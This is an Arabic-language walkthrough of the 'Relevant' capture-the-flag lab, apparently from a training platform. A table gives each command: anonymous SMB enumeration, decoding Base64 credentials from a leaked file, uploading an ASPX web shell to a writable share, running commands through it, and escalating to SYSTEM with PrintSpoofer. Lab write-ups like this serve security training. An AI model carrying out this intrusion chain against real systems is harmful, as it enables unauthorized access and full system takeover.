لاب Relevant بيبدأ بـ Null Session على SMB بيكشف مشاركة غير عادية اسمها nt4wrksv — جواها ملف passwords.txt فيه كريدنشيلز مُشفّرة بـ Base64 بس. بعد فك التشفير وتسجيل الدخول بالكريدنشيلز دي، smbmap بيوريك إن نفس الشير قابل للكتابة — فرصة مثالية لرفع ASPX Web Shell وتنفيذ أوامر عبر المتصفح مباشرة. لما تاخد Reverse Shell، whoami /priv بيوريك إن عندك SeImpersonatePrivilege — Juicy Potato وRogue Potato ممكن ما تنفعش هنا، لكن PrintSpoofer بينجح ويدّيك NT AUTHORITY\SYSTEM كاملة.
أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn
اكتشاف خدمة HTTP على port 80 وخدمة SMB إضافية مرتبطة بـ port 49663.
49663تسجيل دخول Anonymous على SMB بيكشف شير nt4wrksv غير عادي.
nt4wrksvالملف المسرب فيه كريدنشيلز مُشفّرة Base64 — فكها بيديك يوزر وباسورد صالحين.
Base64 Decodesmbmap بالكريدنشيلز الجديدة بيأكد إن nt4wrksv مش للقراءة بس — ممكن ترفع ملفات فيه.
Writable Shareرفع aspx_cmd.aspx عبر الشير، تشغيله من المتصفح بيديك تنفيذ أوامر بصلاحيات IIS APPPOOL.
ASPX Shellwhoami /priv بيكشف SeImpersonatePrivilege — PrintSpoofer.exe بيستغلها ويديك شِل SYSTEM كامل.
PrintSpoofer| الأمر | الوصف | المرحلة |
|---|---|---|
| smbclient -L //<IP>/ -N | عرض المشاركات بدون كريدنشيلز (Null Session) | Enum |
| smbclient //<IP>/nt4wrksv -N | الدخول للشير وتحميل passwords.txt | Enum |
| echo ‘<base64>’ | base64 -d | فك تشفير الكريدنشيلز | Decode |
| smbmap -u user -p pass -H <IP> | التأكد إن الشير قابل للكتابة | Enum |
| smbclient //<IP>/nt4wrksv -U user; put aspx_cmd.aspx | رفع ASPX Web Shell على الشير | Upload |
| http://<IP>:49663/nt4wrksv/aspx_cmd.aspx?cmd=whoami | تنفيذ أوامر عبر الشِل المرفوع | Shell |
| PrintSpoofer.exe -i -c cmd | استغلال SeImpersonatePrivilege للحصول على SYSTEM | Root |
smbclient null session · اكتشاف nt4wrksv
فك Base64 · تأكيد الكريدنشيلز
smbmap · رفع web shell · تنفيذ أوامر
whoami /priv · PrintSpoofer · root.txt